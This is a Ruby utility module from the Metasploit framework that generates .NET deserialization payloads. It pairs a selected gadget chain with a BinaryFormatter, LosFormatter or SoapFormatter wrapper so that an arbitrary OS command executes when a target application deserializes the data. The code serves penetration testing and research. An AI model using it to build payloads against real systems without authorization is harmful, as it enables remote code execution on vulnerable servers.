Files
metasploit-gs/lib/msf/util/dot_net_deserialization.rb
T
2021-01-18 14:21:54 +00:00

104 lines
3.3 KiB
Ruby

require 'bindata'
module Msf
module Util
#
# Much of this code is based on the YSoSerial.Net project
# see: https://github.com/pwntester/ysoserial.net
#
module DotNetDeserialization
DEFAULT_FORMATTER = :BinaryFormatter
DEFAULT_GADGET_CHAIN = :TextFormattingRunProperties
def self.encode_7bit_int(int)
# see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L582
encoded_int = []
while int > 0
value = int & 0x7f
int >>= 7
value |= 0x80 if int > 0
encoded_int << value
end
encoded_int.pack('C*')
end
def self.get_ancestor(obj, ancestor_type, required: true)
while ! (obj.nil? || obj.is_a?(ancestor_type))
obj = obj.parent
end
raise RuntimeError, "Failed to find ancestor #{ancestor_type.name}" if obj.nil? && required
obj
end
#
# Generation Methods
#
# Generates a .NET deserialization payload for the specified OS command using
# a selected gadget-chain and formatter combination.
#
# @param cmd [String] The OS command to execute.
# @param gadget_chain [Symbol] The gadget chain to use for execution. This
# will be application specific.
# @param formatter [Symbol] An optional formatter to use to encapsulate the
# gadget chain.
# @return [String]
def self.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER)
stream = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain)
self.generate_formatted(stream, formatter: formatter)
end
# Take the specified serialized blob and encapsulate it with the specified
# formatter.
#
# @param stream [Msf::Util::DotNetDeserialization::Types::SerializedStream]
# The serialized stream representing the gadget chain to format into a
# string.
# @param formatter [Symbol] The formatter to use to encapsulate the serialized
# data blob.
# @return [String]
def self.generate_formatted(stream, formatter: DEFAULT_FORMATTER)
case formatter
when :BinaryFormatter
formatted = Formatters::BinaryFormatter.generate(stream)
when :LosFormatter
formatted = Formatters::LosFormatter.generate(stream)
when :SoapFormatter
formatted = Formatters::SoapFormatter.generate(stream)
else
raise NotImplementedError, 'The specified formatter is not implemented'
end
formatted
end
# Generate a serialized data blob using the specified gadget chain to execute
# the OS command. The chosen gadget chain must be compatible with the target
# application.
#
# @param cmd [String] The operating system command to execute. It will
# automatically be prefixed with "cmd /c" by the gadget chain.
# @param gadget_chain [Symbol] The gadget chain to use for execution.
# @return [Types::SerializedStream]
def self.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN)
case gadget_chain
when :TextFormattingRunProperties
stream = GadgetChains::TextFormattingRunProperties.generate(cmd)
when :TypeConfuseDelegate
stream = GadgetChains::TypeConfuseDelegate.generate(cmd)
when :WindowsIdentity
stream = GadgetChains::WindowsIdentity.generate(cmd)
else
raise NotImplementedError, 'The specified gadget chain is not implemented'
end
stream
end
end
end
end